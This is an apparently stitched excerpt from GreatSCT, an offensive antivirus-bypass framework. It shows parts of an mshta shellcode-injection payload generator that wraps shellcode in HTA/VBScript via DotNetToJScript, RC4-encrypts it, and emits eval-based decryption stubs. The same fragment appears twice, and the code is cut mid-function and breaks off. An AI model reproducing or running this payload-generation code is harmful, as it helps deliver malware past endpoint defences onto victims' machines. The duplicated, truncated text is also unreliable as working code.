# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/shellcode_help.py
# class Shellcode:
#     def __init__(self, cli_obj):
#     def Reset(self):
#     def LoadModules(self):
#     def payload_selection_menu(self, showTitle=True):
#     def menu(self):
#     def generate(self, required_options=None):
# def cli_msf_shellcode_gen(command_line_args):
# 
# Path: Tools/Bypass/bypass_common/encryption.py
# def rc4(key, data):
#     S = list(range(256))


import base64
import os
from Tools.Bypass.bypass_common import bypass_helpers # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import gamemaker # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import shellcode_help # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import encryption # pylint: disable=E0611,E0401
                source_code += "\nvar plain = rc4(\"{0}\", decoded);".format(key)
                source_code += "\neval(plain);"
                source_code += "\n</script>"
            
            else:
                source_code = payload

        elif self.required_options["SCRIPT_TYPE"][0].lower() == "vbscript":
            # do stuff

            with open("/tmp/migrate.vbs", "w") as ff:
                ff.write("o.Print {0}".format(x86)
                         )
            os.system(
                "mcs -platform:x86 -target:library -sdk:2 {0} -out:/tmp/dotnettojscript.dll".format("/tmp/hta_source.cs"))
            os.system(
                "WINEPREFIX=/root/.greatsct wine /usr/share/greatsct/DotNetToJScript.exe /tmp/dotnettojscript.dll -ver auto -l vbscript -c HelloWorld -o {0} -s /tmp/migrate.vbs".format("/tmp/greatsct.vbs"))

            with open("/tmp/greatsct.vbs", 'r') as original:
                data = original.read()

            with open("/tmp/greatsct.vbs", 'w') as modified:
                modified.write("<script language=\"VBScript\">\n\n\nDim {0} : {0} = \"{1}\"\n\n".format(
                    x86, Shellcode) + data + "\nSelf.Close()\n</script>")

            with open("/tmp/greatsct.vbs", "r") as vbs:
                payload = vbs.read()

            if self.required_options["ENCRYPTION"][0].lower() != "x":


# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/shellcode_help.py
# class Shellcode:
#     def __init__(self, cli_obj):
#     def Reset(self):
#     def LoadModules(self):
#     def payload_selection_menu(self, showTitle=True):
#     def menu(self):
#     def generate(self, required_options=None):
# def cli_msf_shellcode_gen(command_line_args):
# 
# Path: Tools/Bypass/bypass_common/encryption.py
# def rc4(key, data):
#     S = list(range(256))


# Path: Tools/Bypass/payloads/mshta/shellcode_inject/base64_migrate.py
import base64
import os
from Tools.Bypass.bypass_common import bypass_helpers # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import gamemaker # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import shellcode_help # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import encryption # pylint: disable=E0611,E0401

                source_code += "\nvar plain = rc4(\"{0}\", decoded);".format(key)
                source_code += "\neval(plain);"
                source_code += "\n</script>"
            
            else:
                source_code = payload

        elif self.required_options["SCRIPT_TYPE"][0].lower() == "vbscript":
            # do stuff

            with open("/tmp/migrate.vbs", "w") as ff:
                ff.write("o.Print {0}".format(x86)
                         )
            os.system(
                "mcs -platform:x86 -target:library -sdk:2 {0} -out:/tmp/dotnettojscript.dll".format("/tmp/hta_source.cs"))
            os.system(
                "WINEPREFIX=/root/.greatsct wine /usr/share/greatsct/DotNetToJScript.exe /tmp/dotnettojscript.dll -ver auto -l vbscript -c HelloWorld -o {0} -s /tmp/migrate.vbs".format("/tmp/greatsct.vbs"))

            with open("/tmp/greatsct.vbs", 'r') as original:
                data = original.read()

            with open("/tmp/greatsct.vbs", 'w') as modified:
                modified.write("<script language=\"VBScript\">\n\n\nDim {0} : {0} = \"{1}\"\n\n".format(
                    x86, Shellcode) + data + "\nSelf.Close()\n</script>")

            with open("/tmp/greatsct.vbs", "r") as vbs:
                payload = vbs.read()

            if self.required_options["ENCRYPTION"][0].lower() != "x":


                encrypted_payload = encryption.rc4(key, payload)